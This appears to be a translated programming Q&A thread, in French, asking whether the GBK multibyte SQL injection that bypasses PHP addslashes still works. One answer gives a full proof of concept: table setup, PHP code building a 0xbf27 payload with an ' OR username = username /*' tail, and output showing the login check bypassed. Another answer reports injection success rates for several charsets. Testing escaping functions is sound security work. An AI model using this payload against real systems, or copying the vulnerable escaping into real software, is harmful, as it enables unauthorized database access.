PHP addslashes SQL injection toujours valide?

je sais "paramétrer les requêtes" est le saint-graal. Ce n'est pas le sujet.

il y a un vieux post, qui semble être la référence pour toutes les discussions relatives aux injections sql quand addslashes est utilisé.

C'est le lien : http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

ma question Est : cette preuve de concept est-elle toujours correcte ? J'ai essayé de le tester mais les addslashs semblent fonctionner correctement. Quelqu'un d'autre en fait essayé ce ou tout le monde est pris pour acquis ?

  • j'ai ajouté $db- > set_charset ("GBK");
  • j'ai utilisé gbk_chinese_ci pour db / fields
  • le journal mysql montre cette requête
     SELECT *
            FROM   users
        WHERE  username = '�' OR username = username /*'
        AND    password = 'guess'
    

    si clairement l'astuce ne fonctionne pas

    mise à jour : lire svp la question que je te pose. Je ne me soucie pas des meilleures pratiques, je n'ai pas besoin d'alternatives, je dois juste m'assurer que cela est toujours valable ou pas.

    Update : Je voudrais aussi rappeler que ce POC fonctionne pour des jeux de caractères comme GBK, SJIS ou BIG5 et tout le monde semble l'oublier. Rendre les titres un peu effrayants en disant addslashes n'est pas sûr.

    Solution : dans mon cas, la mysql version 5.5.9-log ne permet pas les commentaires inline qui ne sont pas finalisés comme /*. Si j'utilise -- ou # il fonctionne.

  • 6
    demandé sur danidacar 2011-02-27 14:44:12

    2 réponses

    il semble que ça marche pour moi.

    mysql:

    mysql> select version();
    +---------------------+
    | version()           |
    +---------------------+
    | 5.0.45-community-nt |
    +---------------------+
    1 row in set (0.00 sec)
    
    mysql> CREATE TABLE users (
        ->     username VARCHAR(32) CHARACTER SET GBK,
        ->     password VARCHAR(32) CHARACTER SET GBK,
        ->     PRIMARY KEY (username)
        -> );
    Query OK, 0 rows affected (0.08 sec)
    
    mysql> insert into users SET username='ewrfg', password='wer44';
    Query OK, 1 row affected (0.02 sec)
    
    mysql> insert into users SET username='ewrfg2', password='wer443';
    Query OK, 1 row affected (0.03 sec)
    
    mysql> insert into users SET username='ewrfg4', password='wer4434';
    Query OK, 1 row affected (0.00 sec)
    

    PHP:

    <pre><?php
    echo "PHP version: ".PHP_VERSION."\n";
    
    mysql_connect();
    mysql_select_db("test");
    mysql_query("SET NAMES GBK");
    
    $_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
    $_POST['password'] = 'guess';
    
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    mysql_set_charset("GBK");
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    

    résultat:

    PHP version: 5.3.3
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(30) "\ї\' OR username = username /*"
    int(0)
    string(3) "gbk"
    

    Conclusions:

    un second résultat va être plus surprenant pour ceux qui chantent "vous devriez utiliser mres au lieu de addslashes!"

    8
    répondu Your Common Sense 2011-02-27 13:03:43

    pour obtenir '�\' je suppose que vous avez utilisé le caractère multi-octets 0x??5c au lieu du caractère multi-octets 0x??27 .

    j'ai obtenu les résultats suivants sur mon serveur (nombre de points de code testés résultant en injections réussies):

    • SJIS: 47/47
    • SJIS-gagnant: 58/58
    • EUC-CN: 0/95
    • CP936: 126/126
    • BIG-5: 89/94
    • EUC-KR: 0/93

    Je n'ai pas testé les autres charsets disponibles de MySQL puisqu'ils n'étaient pas disponibles dans L'extension mbstring de PHP, donc je n'avais aucun moyen rapide de déterminer quels caractères multi-octets existaient dans ces encodages. J'ai aussi essayé seulement les caractères à deux octets, donc il peut y avoir des jeux de caractères plus vulnérables.

    aussi, cela aide si les données de la table sont dans le même encodage que le client est réglé à. Sinon, vous obtenez des erreurs "mélange illégal de collations" pour beaucoup de points de code potentiels.

    3
    répondu Lèse majesté 2011-02-27 16:13:06